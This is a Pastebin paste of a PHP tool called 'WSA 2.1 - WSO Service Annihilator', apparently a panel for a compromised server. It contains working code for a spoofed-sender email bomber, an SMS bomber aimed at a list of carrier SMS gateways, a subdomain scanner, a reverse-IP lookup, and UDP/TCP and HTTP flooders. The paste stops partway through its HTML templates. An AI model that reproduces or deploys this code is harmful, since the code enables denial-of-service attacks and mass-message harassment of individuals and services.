Advertisement
Guest User

WSA 2.1 - WSO Service Annihilator - DoS - SMS Bomb - Flooder

a guest
Sep 11th, 2016
711
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 36.56 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4.  
  5. session_start();
  6. @ini_set('max_execution_time', 0);
  7. @set_time_limit(0);
  8. $wsa = new WSA_2_0();
  9. echo $wsa->init();
  10.  
  11.  
  12. if(is_array(filter_input_array(INPUT_POST))) {
  13.     $a = filter_input_array(INPUT_POST);
  14.     echo $wsa->handler($a);
  15. }
  16. else {
  17.     echo $wsa->handler('1');
  18. }
  19.  
  20. echo $wsa->pageView('footer');
  21. exit;
  22.  
  23. class WSA_2_0 {
  24.    
  25.     private $pages = array("1"=>"main","2"=>"mail","3"=>"resolve","4"=>"reverse","5"=>"dos");
  26.     private $prefix = array("mail", "www", "ns2", "ns1", "blog", "localhost", "m", "ftp",
  27.         "mobile", "ns3", "smtp", "search", "api", "dev", "secure", "webmail", "admin",
  28.         "img", "news", "sms", "test", "video", "www2", "media", "static", "ads",
  29.         "mail2", "beta", "wap", "dns2", "support", "pop", "my", "origin-www", "help",
  30.         "newsletter", "ns4", "upload", "mail3", "blogs", "download", "dns1", "www3", "shop",
  31.         "forum", "chat", "www1", "image", "app", "tv", "dns", "services", "music",
  32.         "images", "game", "pay", "new", "host", "www4", "service", "ad", "monitor",
  33.         "web2", "wiki", "mx1", "sports", "lists", "m1", "games", "db", "m2",
  34.         "business", "dns3", "ws", "counter", "travel", "photo", "gateway", "members", "c",
  35.         "g", "mail4", "crm", "tools", "backup", "mail1", "apps", "t", "email",
  36.         "img3", "cms", "demo", "local", "ns", "i", "s", "community", "connect",
  37.         "cdn", "w12", "iphone", "cacti", "w11", "www.mail", "auth", "rss", "nagios",
  38.         "www.search", "home", "data", "img2", "live", "files", "www5", "login", "stat",
  39.         "sso", "member", "jira", "w4", "img5", "ipad", "web1", "shopping", "core",
  40.         "soccer", "jp", "vpn", "www.m", "labs", "*.blog", "old", "ntp", "mysql",
  41.         "it", "origin", "content", "feedback", "health", "exchange", "puppet", "mx", "corp",
  42.         "job", "a", "img9", "mediakit", "gourmet", "dir", "reports", "pr", "marketing",
  43.         "diet", "crawl", "redmine", "mon", "wallet", "cache", "mac", "feeds", "editor",
  44.         "*.mail", "ftp2", "rt", "info", "kids", "imap", "svn", "reklam", "de",
  45.         "point", "transit", "r", "www.dev", "partners", "hosting", "img1", "www.ads", "www.news",
  46.         "img4", "img6", "db1", "img7", "w2", "www.api", "auto", "adv", "feed",
  47.         "www.sms", "img8", "w5", "partner", "cs", "cm", "w3", "whm", "w18",
  48.         "w6", "w8", "origin-images", "cpanel", "mms", "forums", "xml", "meet", "album",
  49.         "vote", "bit", "event", "us", "www6", "bitex", "av", "payment", "money",
  50.         "group", "mx2", "a1", "h2", "www.mobile", "daily", "videos", "e", "downloads",
  51.         "pl", "gps", "enews", "pg", "map", "autodiscover", "education", "sandbox", "autos",
  52.         "mv", "im", "dns4", "m3", "m9", "w10", "w13", "w14", "w20",
  53.         "w21", "ticket", "sip", "jobs", "gitlab", "stats", "u", "www9", "pda",
  54.         "survey", "love", "me", "www15", "w15", "www22", "sites", "smtp3", "smtp2",
  55.         "smtp1", "web", "press", "backend", "n", "widgets", "es", "www90", "s269",
  56.         "s281", "s216", "s221", "s222", "s224", "s227", "s233", "s236", "s237",
  57.         "s241", "s245", "s247", "s248", "s251", "s252", "s253", "s254", "s255",
  58.         "s256", "s257", "s258", "s262", "s264", "s265", "s266", "s267", "s268",
  59.         "s270", "s271", "s272", "s273", "s274", "s275", "s276", "s277", "s278",
  60.         "s280", "s285", "s286", "s287", "s288", "s289", "s291", "s304", "s305",
  61.         "s296", "s307", "s308", "s309", "s311", "s312", "s313", "s314", "s315",
  62.         "s316", "s317", "s318", "s321", "s324", "s325", "s326", "s329", "s331",
  63.         "s332", "s333", "s334", "s335", "s337", "s338", "s341", "s342", "s343",
  64.         "s344", "s345", "s346", "s347", "s348", "s349", "s351", "s352", "s353",
  65.         "s354", "s355", "s356", "s357", "s336", "s339", "s411", "s412", "s413",
  66.         "s414", "s415", "s416", "s417", "s418", "s419", "s421", "s422", "s424",
  67.         "s425", "s426", "s427", "s428", "s429", "s431", "s432", "s433", "s435",
  68.         "s436", "s438", "s439", "s441", "s442", "s443", "s444", "s445", "s446",
  69.         "s447", "s448", "s450", "s451", "s452", "s453", "s454", "s455", "s456",
  70.         "s350", "s458", "s459", "s461", "s462", "s463", "s464", "s465", "s466",
  71.         "s467", "s468", "s469", "s471", "s472", "s473", "s474", "s475", "s476",
  72.         "s477", "s402", "s403", "s406", "s420", "s430", "s434", "s437", "s440",
  73.         "s449", "s457", "s460", "s470", "river", "r1", "s203", "s249", "s239",
  74.         "m.", "share", "file", "s238", "s230", "s207", "s202", "s201", "s410",
  75.         "free", "flv", "drm", "s401", "api-test", "backup1", "promo", "o1.email", "s340",
  76.         "guides", "s310", "s330", "att", "s320", "s299", "s298", "s297", "dev1",
  77.         "main", "s306", "smoke", "s295", "s1", "s2", "s303", "s301", "sm",
  78.         "zabbix", "sms2", "jobb", "core2", "irc", "s302", "dev.payment", "billing", "s40",
  79.         "s33", "s31", "status", "s30", "movies", "entertainment", "s18", "www.tv", "s17",
  80.         "edge", "adserver", "s16", "s290", "s29", "podcast", "w9", "www.games", "adserver2",
  81.         "s7", "mailing", "s5", "tracker", "s4", "r2", "www.wap", "dm", "yahoo",
  82.         "cisco2", "cisco1", "facebook", "access", "mobi", "sync", "elections", "results", "archives",
  83.         "surveys", "users", "w1", "subscribe", "bk", "www.shopping", "football", "relay", "w7",
  84.         "adimg", "ocs", "x1", "x3", "www.cdn", "toolbar", "mobil", "solr", "www.ad",
  85.         "www.adimg", "db3", "*.red", "www.blog", "navi", "db01", "db4", "*.dev", "db02",
  86.         "m0", "araba", "present", "profile", "sr", "w17", "w19", "w22", "w23",
  87.         "w24", "anime", "research", "fortune", "cp1", "cp2", "cp3", "cp4", "cp5",
  88.         "cp6", "cp7", "cp8", "cp9", "cp10", "voip", "fotogaleri", "secure.dev", "screenshot",
  89.         "*.search", "secim", "canli", "sorry", "log", "in", "kvm", "translate", "coupon",
  90.         "challenge", "bb", "docs", "services2", "weather", "click", "tvadmin", "vid1", "vid2",
  91.         "sharepoint", "code", "test1", "history", "appdev", "admin.test", "buzz", "realty", "widget",
  92.         "noticias", "radio", "blogger", "showcase", "oas", "inter", "fotos", "helpdesk", "download2",
  93.         "*.staging", "fr", "local.api", "pt", "as", "ru", "en", "*.blogs", "test.www",
  94.         "www.chat", "nb", "lb", "img0", "ssl", "link", "ns5", "dating", "newsletters",
  95.         "contribute", "master", "www.hosting", "img10", "img11", "kid", "cache3", "cache1", "polls",
  96.         "qq", "campus", "record", "kk", "www.music", "dc", "webdisk", "ssl1", "db2",
  97.         "app2", "web3", "api.news", "dev.movie", "fm", "advertising", "dictionary", "cache2", "form",
  98.         "dev.music", "season", "conference", "dev.news", "dev.travel", "error", "finance", "portal", "mail5.mail",
  99.         "sq1", "mail4.mail", "origin-www.sjl01", "mail3.mail", "beacon", "click1.mail", "wireless", "now", "mail2.mail",
  100.         "archive", "mail7.mail", "o", "mail1.mail", "mail6.mail", "ad2", "ad3", "x", "cdntest",
  101.         "ad1", "pv", "profiles", "fe2", "origin-video", "fe1", "cn", "cancer", "catalog",
  102.         "m4", "m6", "m7", "m8", "food", "w0", "sport", "magazine", "ask",
  103.         "social", "wap3", "game1", "mp", "contact", "wap1", "www.demo", "pet", "family",
  104.         "open", "ap", "seminar", "mailer", "www16", "www17", "movie", "www23", "www24",
  105.         "www25", "www26", "www30", "www31", "www32", "www36", "www37", "www39", "www41",
  106.         "www43", "www44", "www47", "www48", "www49", "www51", "www54", "www56", "www61",
  107.         "www63", "www66", "www68", "www69", "www81", "www82", "www270", "one", "corporate",
  108.         "www10", "www20", "books", "www.jobs", "events", "spotlight", "www18", "www19", "www55",
  109.         "www64", "www65", "www67", "www70", "www74", "s259", "travel2", "imgs", "3g",
  110.         "id", "stock", "union", "sales", "quangcao", "auth1", "ajax", "alt", "video1",
  111.         "video2", "auth2", "auth3", "dv1", "speedtest", "munin", "tracking", "dev.www", "zippy",
  112.         "otrs", "im2", "im3", "im4", "am", "im1", "market", "*.s", "*.b",
  113.         "b", "l", "chat2", "q", "maintenance", "developer", "b2", "ekonomi", "spor",
  114.         "web10", "dns5", "intranet", "beta.m", "christmas", "v", "bbs", "activity", "us.m",
  115.         "m10", "idc", "m11", "user", "www.game", "ann", "fb", "woman", "jabber",
  116.         "mb2", "adm", "wap2", "staging", "talk", "cf", "fin", "rw", "p",
  117.         "men", "women", "list", "lite", "win", "www.help", "site", "club", "i3.comet.webchat",
  118.         "webchat", "www.plb3", "backoffice", "i7.comet.webchat", "comet.webchat",
  119.         "ext.webchat", "i2.comet.webchat", "i6.comet.webchat", "www.plb1",
  120.         "www.plb2", "www.plb4", "www.plb5", "www.plb6", "www.slb1", "www.slb2", "www.slb3",
  121.         "www.slb4", "www.slb5", "www.slb6", "buddy.webchat", "i9.comet.webchat", "m.plb1", "m.plb2",
  122.         "i4.comet.webchat", "m.slb2", "i0.comet.webchat", "i1.comet.webchat",
  123.         "i8.comet.webchat", "i5.comet.webchat", "m.slb1", "msgrs.webchat", "mayday");
  124.    
  125.     public function __construct() {
  126.         if(is_array(filter_input_array(INPUT_POST))) {
  127.             $a = filter_input_array(INPUT_POST);
  128.             foreach ($a as $k => $v) {
  129.                 $this->$k = $v;
  130.             }
  131.         }  
  132.     }
  133.    
  134.     public function init() {
  135.         return $this->pageView('header');
  136.     }
  137.    
  138.     public function handler($a) {
  139.         if(isset($this->a)) {
  140.             return $this->stagging();
  141.         }
  142.         else {
  143.             $this->a = $a;
  144.             return $this->stagging();
  145.         }
  146.     }
  147.    
  148.     private function newsFeed() {
  149.         $this->newsList = $this->pageView('main');
  150.         $newsReq = curl_init();
  151.         curl_setopt_array($newsReq, array(
  152.             CURLOPT_RETURNTRANSFER => 1,
  153.             CURLOPT_URL => 'http://sec.jetlib.com/?media=atom',
  154.         ));
  155.         $feed = simplexml_load_string(curl_exec($newsReq));
  156.         curl_close($newsReq);
  157.         $children = $feed->children('http://www.w3.org/2005/Atom');
  158.         $entries = $children->entry;
  159.         foreach ($entries as $entry) {
  160.             $details = $entry->children('http://www.w3.org/2005/Atom');
  161.             $this->newsList .= '<div class="activenewstitle">'
  162.                     . '<h1>' . $details->title . '</h1>'
  163.                     . '</div>'
  164.                     . '<div class="activenewscontent">'
  165.                     . $details->content
  166.                     . '<br>'
  167.                     . '<a href=' . $details->id . '>' . $details->id . '</a>'
  168.                     . '</div>';
  169.         }
  170.         return $this->newsList;
  171.     }
  172.    
  173.    
  174.     private function stagging() {
  175.             switch ($this->a) {
  176.         case 1:
  177.             return $this->newsFeed();
  178.             break;
  179.         case 2:
  180.             return $this->mailStart();
  181.             break;
  182.         case 3:
  183.             return $this->resolveStart();
  184.             break;
  185.         case 4:
  186.             return $this->reverseIpStart();
  187.             break;
  188.         case 5:
  189.             return $this->dosStart();
  190.             break;
  191.         default:
  192.             return $this->newsFeed();
  193.             break;
  194.         }
  195.     }
  196.    
  197.     private function mailStart() {
  198.         if(isset($this->p6)) {
  199.             $this->p5 = "$this->p5.$this->p6";
  200.         }
  201.         if(!filter_var($this->p2, FILTER_VALIDATE_EMAIL) && isset($this->p1)) {
  202.             $this->p2 = 'rekt@gayjimsgym.com';
  203.         }
  204.         if(filter_var($this->p1, FILTER_VALIDATE_EMAIL) && ctype_digit($this->p3)) {
  205.             return $this->launchMailJob();
  206.         }
  207.         else {
  208.             return $this->pageView($this->pages[$this->a]);
  209.         }
  210.     }
  211.    
  212.     private function resolveStart() {
  213.         if(isset($this->p1) && gethostbyname($this->p1)) {
  214.             return $this->launchResolveJob();
  215.         }
  216.         else {
  217.             return $this->pageView($this->pages[$this->a]);
  218.         }
  219.     }
  220.    
  221.     private function reverseIpStart() {
  222.         if(isset($this->p1) && (filter_var($this->p1, FILTER_VALIDATE_IP))) {
  223.             return $this->launchReverseIpJob();
  224.         }
  225.         else {
  226.             return $this->pageView($this->pages[$this->a]);
  227.         }
  228.     }
  229.    
  230.     private function dosStart() {
  231.         if($this->p1 != 'http' && ctype_digit($this->p3) && ctype_digit($this->p4)) {
  232.             return $this->launchUdpTcpJob();
  233.         }
  234.         elseif($this->p1 == 'http' && ctype_digit($this->p4)) {
  235.             return $this->launchHttpJob();
  236.         }
  237.         else {
  238.             return $this->pageView($this->p1);
  239.         }
  240.        
  241.     }
  242.    
  243.     private function launchMailJob() {
  244.         $errno = '0';
  245.         $succ = '0';
  246.         echo $this->pageView('mail');
  247.         echo '<div class="resultstitle"><h1>Mail Bomber Output</h1></div><div class="resultscontent">';
  248.         for ($i = 0; $i < $this->p3; $i++) {
  249.             $p2 = explode('@', $this->p2);
  250.             $p2[0] = $p2[0] . $i;
  251.             $from = implode('@', $p2);
  252.             $p4 = $this->p4 . $i;
  253.             $headers = "From: $from" . "\r\n";
  254.             $headers .= "Reply-To: $from" . "\r\n";
  255.             $headers .= "X-Mailer: PHP/" . phpversion();
  256.             if (!mail($this->p1, $p4, $this->p5, $headers)) {
  257.                 if($errno + $succ == 50) {
  258.                     echo '<br>';
  259.                     $errno = 0;
  260.                     $submit = 0;
  261.                 }
  262.                 $errno++;
  263.                 echo '<font color="red">|</font>';
  264.             } else {
  265.                 if($errno + $succ == 50) {
  266.                     echo '<br>';
  267.                     $errno = 0;
  268.                     $submit = 0;
  269.                 }
  270.                 $succ++;
  271.                 echo '<font color="green">|</font>';
  272.             }
  273.         }
  274.         echo '</div>';
  275.     }
  276.    
  277.     private function launchResolveJob() {
  278.         echo $this->pageView('resolve');
  279.         echo '<div class="resultstitle"><h1>Subdomain Scanner Output</h1></div><div class="resultscontent">';
  280.         echo '<center><table cellspacing="1" cellpadding="2" class="info">';
  281.         foreach ($this->prefix as $prefix) {
  282.             $domain = $prefix . '.' . $this->p1;
  283.             $domainIP = gethostbyname($domain);
  284.             if(filter_var($domainIP, FILTER_VALIDATE_IP)) {
  285.                 echo '<tr><td>' . $domain . '</td><td>' . $domainIP . '</td></tr>';
  286.             }
  287.         }
  288.         echo '</table></center></div>';
  289.     }
  290.    
  291.     private function launchReverseIpJob() {
  292.         echo $this->pageView('reverse');
  293.         echo '<div class="resultstitle"><h1>Reverse IP Output</h1></div><div class="resultscontent">';
  294.         echo '<center><table cellspacing="1" cellpadding="2" class="info">';
  295.         echo '<tr><th>Host</th><th>Veriffied IP</td></tr>';
  296.         $uri = "http://domains.yougetsignal.com/domains.php";
  297.         $ch = curl_init($uri);
  298.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  299.         curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$this->p1&ket=");
  300.         curl_setopt($ch, CURLOPT_HEADER, 0);
  301.         curl_setopt($ch, CURLOPT_POST, 1);
  302.         $srf = curl_exec($ch);
  303.         preg_match_all("/\[\"(.*)\",/U", $srf, $match);
  304.         foreach ($match[1] as $url) {
  305.             if($this->p1 === gethostbyname($url)) {
  306.             echo '<tr><td>' . $url . '</td><td>' . gethostbyname($url) . '</td></tr>';
  307.             }
  308.         }
  309.         echo '</table></center></div>';
  310.     }
  311.    
  312.     private function launchUdpTcpJob() {
  313.         echo $this->pageView($this->p1);
  314.         $end = time() + $this->p4;
  315.         $succ = 0;
  316.         for ($sendData = 0; strlen($sendData) < 65000; $sendData .= Chr(255)) {
  317.            
  318.         }
  319.         while (1) {
  320.             if (time() > $end) {
  321.                 break;
  322.             }
  323.             $fp = fsockopen($this->p1 . '://' . $this->p2, $this->p3, $errno, $errstr, 5);
  324.             if ($fp) {
  325.                 fwrite($fp, $sendData);
  326.                 fclose($fp);
  327.                 $succ++;
  328.             }
  329.         }
  330.         echo '<div class="resultstitle"><h1>DoS Tool Output</h1></div>';
  331.         echo '<div class="resultscontent">';
  332.         if($succ == 0) { echo '<font color="red">ERROR</font>'; }
  333.        
  334.         else { echo '<span>' . round($succ) . '</span> Packets sent <span>' . round($succ/$this->p4) . '</span> Packets/s'; }
  335.         echo'</div>';
  336.     }
  337.  
  338.     private function launchHttpJob() {
  339.         echo $this->pageView($this->p1);
  340.         $end = time() + $this->p4;
  341.         $succ = 0;
  342.         $sendData .= 'GET ' . $this->p5 . ' HTTP/1.1' . "\r\n";
  343.         $sendData .= 'Host: ' . $this->p2 . "\r\n";
  344.         $sendData .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
  345.         $sendData .= 'Keep-alive: 300' . "\r\n";
  346.         $sendData .= 'Connection: keep-alive' . "\r\n\r\n";
  347.         $fp = fsockopen($this->p2, 80, $errno, $errstr, 5);
  348.         while (1) {
  349.             if (time() > $end) {
  350.                 break;
  351.             }
  352.             if ($fp) {
  353.                 fwrite($fp, $sendData);
  354.                 fclose($fp);
  355.                 $succ++;
  356.             } else {
  357.                 $fp = fsockopen($this->p2, 80, $errno, $errstr, 5);
  358.             }
  359.         }
  360.         echo '<div class="resultstitle"><h1>DoS Tool Output</h1></div>';
  361.         echo '<div class="resultscontent">';
  362.         if($succ == 0) { echo '<font color="red">ERROR</font>'; }
  363.        
  364.         else { echo '<span>' . round($succ) . '</span> Packets sent <span>' . round($succ/$this->p4) . '</span> Packets/s'; }
  365.         echo'</div>';
  366.     }
  367.    
  368.  
  369.     public function pageView($chunk) {
  370.         $chld = new constructHTML();
  371.         return $chld->fetchHtml($chunk);
  372.     }
  373.    
  374.  
  375. }
  376.  
  377. class constructHTML extends WSA_2_0 {
  378.  
  379.    
  380.     private $headerHTML = '<!-- header -->
  381. <head>
  382.    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  383.    <title>WSA 2.0</title>
  384.    <style>
  385.        body
  386.        {
  387.            height:100%;
  388.            width:100%;
  389.            padding:0;
  390.            margin:0;
  391.            color:#e1e1e1;
  392.            background-color:#444;
  393.        }
  394.        body,td,th
  395.        {
  396.            font: 9pt Lucida,Verdana;margin:0;
  397.            color:#e1e1e1;
  398.        }
  399.        .headercontainer
  400.        {
  401.            width: 100%;
  402.            display: inline-flex;
  403.            flex-direction: column;
  404.            background-color:#222;
  405.            margin-bottom: 20px;
  406.        }
  407.        .header
  408.        {
  409.            display: inline;
  410.            text-align: center;
  411.        }
  412.        .menubar
  413.        {
  414.            margin-top: 5px;
  415.            justify-content: center;
  416.            text-align: center;
  417.            display: inline-flex;
  418.        }
  419.        .menubar > div
  420.        {
  421.            width: 10%;
  422.            margin: 5px;
  423.            border-radius: 10px 10px 10px 10px;
  424.            background-color: #444;
  425.        }
  426.        .menubar > div:hover
  427.        {
  428.            background-color: #333;
  429.            font-weight: bold;
  430.        }
  431.        .activepage
  432.        {
  433.            border-left: 5px solid #444;
  434.            border-right: 5px solid #444;
  435.            background-color:#444;
  436.        }
  437.        .activetitle
  438.        {
  439.            width:100%;
  440.            background-color:#222;
  441.        }
  442.        .activecontent
  443.        {
  444.            border-left: 5px solid #444;
  445.            text-align: center;
  446.            background-color: #333;
  447.            padding-bottom: 20px;
  448.            padding-top: 20px;
  449.        }
  450.        .activenews
  451.        {
  452.            width: 90%;
  453.            display:    inline-block;
  454.            border-left: 5px solid #333;
  455.            border-right: 5px solid #333;
  456.            background-color: #555;
  457.            vertical-align: top;
  458.        }
  459.        .activenewstitle
  460.        {
  461.            background-color:#222;
  462.            border-top: 40px #333 solid;
  463.            text-align: left;
  464.        }
  465.        .activenewscontent
  466.        {
  467.            border-left: 5px solid #333;
  468.            text-align: center;
  469.            width: 100%;
  470.            min-height: 40px;
  471.        }
  472.        .activenewscontent > p
  473.        {
  474.            margin: 0;
  475.        }
  476.        .results
  477.        {
  478.            margin-left: auto;
  479.               margin-right: auto;
  480.            display: table;
  481.            background-color: #555;
  482.        }
  483.        .resultstitle
  484.        {
  485.            background-color:#222;
  486.            border-top: 40px #333 solid;
  487.            text-align: left;
  488.        }
  489.        .resultscontent
  490.        {
  491.            border-left: 5px solid #333;
  492.            text-align: center;
  493.            min-height: 40px;
  494.            padding-bottom: 20px;
  495.        }
  496.        span
  497.        {
  498.            color:#df5;
  499.        }
  500.        .title
  501.        {
  502.            color:#df5;
  503.            font-size:40px;
  504.        }
  505.        .subtitle
  506.        {
  507.            padding-top:10px;
  508.            color:#fff;
  509.            font-size:15px;
  510.        }
  511.        h1
  512.        {
  513.            color: #df5;
  514.            border-left:5px solid #df5;
  515.            padding: 2px 5px;
  516.            font: 14pt Verdana;
  517.            margin:0;
  518.        }
  519.        a
  520.        {
  521.            text-decoration:none;
  522.            color:#df5;
  523.        }
  524.        a:hover
  525.        {
  526.            text-decoration:underline;
  527.        }
  528.        table{
  529.            text-align: center;
  530.  
  531.        }
  532.        th.cont {
  533.            color: #df5;
  534.            background-color:#222;
  535.        }
  536.        td.cont {
  537.            font: 9pt Lucida,Verdana;
  538.            margin:0;
  539.            color:#e1e1e1;
  540.        }
  541.        tr:nth-child(2n+0) {
  542.            background-color: #444;
  543.        }
  544.        input,textarea,select
  545.        {
  546.            margin:0;
  547.            color:#fff;
  548.            background-color:#555;
  549.            border:1px solid #df5;
  550.            font: 9pt Monospace, "Courier New";
  551.        }
  552.        .footerwrapper
  553.        {
  554.            display: flex;
  555.            background-color:#222;
  556.            min-height:84px;
  557.            border-top:2px solid #444;
  558.            border-left: 5px solid #444;
  559.            color:#fff;
  560.        }
  561.        .footerCenter{
  562.            width:50%;
  563.            overflow:hidden;
  564.            border-right:2px solid #444;
  565.            border-left:2px solid #444;
  566.            display:inline-block;
  567.        }
  568.        .footerLeft{
  569.            width:25%;
  570.            overflow:hidden;
  571.            display:inline-block;
  572.        }
  573.        .footerRight{
  574.            width:25%;
  575.            overflow:hidden;
  576.            display:inline-block;
  577.        }
  578.    </style>
  579. </head>
  580. <body>
  581.    <div class="headercontainer">
  582.        <div class="header">
  583.            <div class="title">
  584.                WSA 2.0
  585.            </div>
  586.            <div class="subtitle">
  587.                WSO Service Annihilator
  588.            </div>
  589.        </div>
  590.    <script>
  591.        var d = document;
  592.        function set(a, p1, p2, p3, p4, p5) {
  593.        if (a != null)d.mf.a.value = a;
  594.        if (p1 != null)d.mf.p1.value = p1;
  595.        if (p2 != null)d.mf.p2.value = p2;
  596.        if (p3 != null)d.mf.p3.value = p3;
  597.        if (p4 != null)d.mf.p4.value = p4;
  598.        if (p5 != null)d.mf.p5.value = p5;
  599.        }
  600.        function g(a, p1, p2, p3, p4, p5) {
  601.        set(a, p1, p2, p3, p4, p5);
  602.        d.mf.submit();
  603.        }
  604.    </script>
  605.    <form method=post name=mf style="display:none;">
  606.        <input type=hidden name=a>
  607.        <input type=hidden name=p1>
  608.        <input type=hidden name=p2>
  609.        <input type=hidden name=p3>
  610.        <input type=hidden name=p4>
  611.        <input type=hidden name=p5>
  612.        <input type=hidden name=p6>
  613.    </form>
  614.         <div class="menubar">
  615.             <div><a href="#" onclick="g(\'1\',null,null,null,null);">Home</a></div>
  616.             <div><a href="#" onclick="g(\'2\',null,null,null,null);">Mail</a></div>
  617.             <div><a href="#" onclick="g(\'3\',null,null,null,null);">Resolve</a></div>
  618.             <div><a href="#" onclick="g(\'4\',null,null,null,null);">ReverseIP</a></div>
  619.             <div><a href="#" onclick="g(\'5\',\'udp\',null,null,null);">DDoS</a></div>
  620.         </div>
  621.    </div>';
  622.     private $mainHTML = '<!-- content -->
  623.    <div class="activepage">
  624.        <div class="activetitle">
  625.            <h1>Latest News - Jetlib.com</h1>
  626.        </div>
  627.        <div class="activecontent">
  628.            <div class="results">';
  629.     private $mailHTML = '<!-- content -->
  630.    <div class="activepage">
  631.        <div class="activetitle">
  632.            <h1>Email/SMS Bomber</h1>
  633.        </div>
  634.        <div class="activecontent">
  635.            <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,this.p5.value);return false;">
  636.                <input type="hidden" name="a" value="2" />
  637.                <span>Email Bomber</span><br>
  638.                Target<br>
  639.                <input type="text" name="p1" placeholder="Target email" value="" /><br>
  640.                Sender<br>
  641.                <input type="text" name="p2" placeholder="Spoof email" value="" /><br>
  642.                Amount<br>
  643.                <input type="text" name="p3" placeholder="100" value="" /><br>
  644.                Subject<br>
  645.                <input type="text" name="p4" placeholder="Subject" value="" /><br>
  646.                Message<br>
  647.                <textarea id="bigbox" name="p5"></textarea><br>
  648.                <input type="submit" value=">> Send <<"/><br>
  649.            </form>
  650.            <form  onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,this.p5.value,this.p6.value);return false;">
  651.                <input type="hidden" name="a" value="2" />
  652.                <span>SMS Bomber</span><br>
  653.                Target<br>
  654.                <input type="text" name="p1" placeholder="Target cell number" value="" /><br>
  655.                Provider<br>
  656.                <select name="p6">
  657.                    <option value="@sms.3rivers.net">3 River Wireless</option>
  658.                    <option value="@paging.acswireless.com">ACS Wireless</option>
  659.                    <option value="@message.alltel.com">Alltel</option>
  660.                    <option value="@txt.att.net ">AT&amp;T</option>
  661.                    <option value="@txt.bellmobility.ca">Bell Canada</option>
  662.                    <option value="@bellmobility.ca">Bell Canada</option>
  663.                    <option value="@txt.bell.ca">Bell Mobility (Canada)</option>
  664.                    <option value="@txt.bellmobility.ca">Bell Mobility</option>
  665.                    <option value="@blueskyfrog.com">Blue Sky Frog</option>
  666.                    <option value="@sms.bluecell.com">Bluegrass Cellular</option>
  667.                    <option value="@myboostmobile.com">Boost Mobile</option>
  668.                    <option value="@bplmobile.com">BPL Mobile</option>
  669.                    <option value="@cwwsms.com">Carolina West Wireless</option>
  670.                    <option value="@mobile.celloneusa.com">Cellular One</option>
  671.                    <option value="@csouth1.com">Cellular South</option>
  672.                    <option value="@cwemail.com">Centennial Wireless</option>
  673.                    <option value="@messaging.centurytel.net">CenturyTel</option>
  674.                    <option value="@txt.att.net ">Cingular (Now AT&amp;T)</option>
  675.                    <option value="@msg.clearnet.com">Clearnet</option>
  676.                    <option value="@comcastpcs.textmsg.com">Comcast</option>
  677.                    <option value="@corrwireless.net">Corr Wireless Communications</option>
  678.                    <option value="@mobile.dobson.net">Dobson</option>
  679.                    <option value="@sms.edgewireless.com">Edge Wireless</option>
  680.                    <option value="@fido.ca">Fido</option>
  681.                    <option value="@sms.goldentele.com">Golden Telecom</option>
  682.                    <option value="@messaging.sprintpcs.com">Helio</option>
  683.                    <option value="@text.houstoncellular.net">Houston Cellular</option>
  684.                    <option value="@ideacellular.net">Idea Cellular</option>
  685.                    <option value="@ivctext.com">Illinois Valley Cellular</option>
  686.                    <option value="@inlandlink.com">Inland Cellular Telephone</option>
  687.                    <option value="@pagemci.com">MCI</option>
  688.                    <option value="@page.metrocall.com">Metrocall</option>
  689.                    <option value="@my2way.com">Metrocall 2-way</option>
  690.                    <option value="@mymetropcs.com">Metro PCS</option>
  691.                    <option value="@fido.ca">Microcell</option>
  692.                    <option value="@clearlydigital.com">Midwest Wireless</option>
  693.                    <option value="@mobilecomm.net">Mobilcomm</option>
  694.                    <option value="@text.mtsmobility.com">MTS</option>
  695.                    <option value="@messaging.nextel.com">Nextel</option>
  696.                    <option value="@onlinebeep.net">OnlineBeep</option>
  697.                    <option value="@pcsone.net">PCS One</option>
  698.                    <option value="@txt.bell.ca">President"s Choice</option>
  699.                    <option value="@sms.pscel.com">Public Service Cellular</option>
  700.                    <option value="@qwestmp.com">Qwest</option>
  701.                    <option value="@pcs.rogers.com">Rogers AT&amp;T Wireless</option>
  702.                    <option value="@pcs.rogers.com">Rogers Canada</option>
  703.                    <option value="@satellink.net">Satellink</option>
  704.                    <option value="@email.swbw.com">Southwestern Bell</option>
  705.                    <option value="@messaging.sprintpcs.com">Sprint</option>
  706.                    <option value="@tms.suncom.com">Sumcom</option>
  707.                    <option value="@mobile.surewest.com">Surewest Communicaitons</option>
  708.                    <option value="@tmomail.net">T-Mobile</option>
  709.                    <option value="@msg.telus.com">Telus</option>
  710.                    <option value="@txt.att.net">Tracfone</option>
  711.                    <option value="@tms.suncom.com">Triton</option>
  712.                    <option value="@utext.com">Unicel</option>
  713.                    <option value="@email.uscc.net">US Cellular</option>
  714.                    <option value="@txt.bell.ca">Solo Mobile</option>
  715.                    <option value="@messaging.sprintpcs.com">Sprint</option>
  716.                    <option value="@tms.suncom.com">Sumcom</option>
  717.                    <option value="@mobile.surewest.com">Surewest Communicaitons</option>
  718.                    <option value="@tmomail.net">T-Mobile</option>
  719.                    <option value="@msg.telus.com">Telus</option>
  720.                    <option value="@tms.suncom.com">Triton</option>
  721.                    <option value="@utext.com">Unicel</option>
  722.                    <option value="@email.uscc.net">US Cellular</option>
  723.                    <option value="@uswestdatamail.com">US West</option>
  724.                    <option value="@vtext.com">Verizon</option>
  725.                    <option value="@vmobl.com">Virgin Mobile</option>
  726.                    <option value="@vmobile.ca">Virgin Mobile Canada</option>
  727.                    <option value="@sms.wcc.net">West Central Wireless</option>
  728.                    <option value="@cellularonewest.com">Western Wireless</option>
  729.                </select><br>
  730.                Sender<br>
  731.                <input type="text" name="p2" placeholder="Spoof email" value="" /><br>
  732.                Amount<br>
  733.                <input type="text" name="p3" placeholder="100" value="" /><br>
  734.                Subject<br>
  735.                <input type="text" name="p4" placeholder="Subject" value="" /><br>
  736.                Message<br>
  737.                <textarea name="p5"></textarea><br>
  738.                <input type="submit" value=">> Send <<"/><br>
  739.            </form>
  740.        <div class="results">';
  741.     private $resolveHTML = '<!-- content -->
  742.    <div class="activepage">
  743.        <div class="activetitle">
  744.            <h1>Subdomain scan</h1>
  745.        </div>
  746.        <div class="activecontent">
  747.  
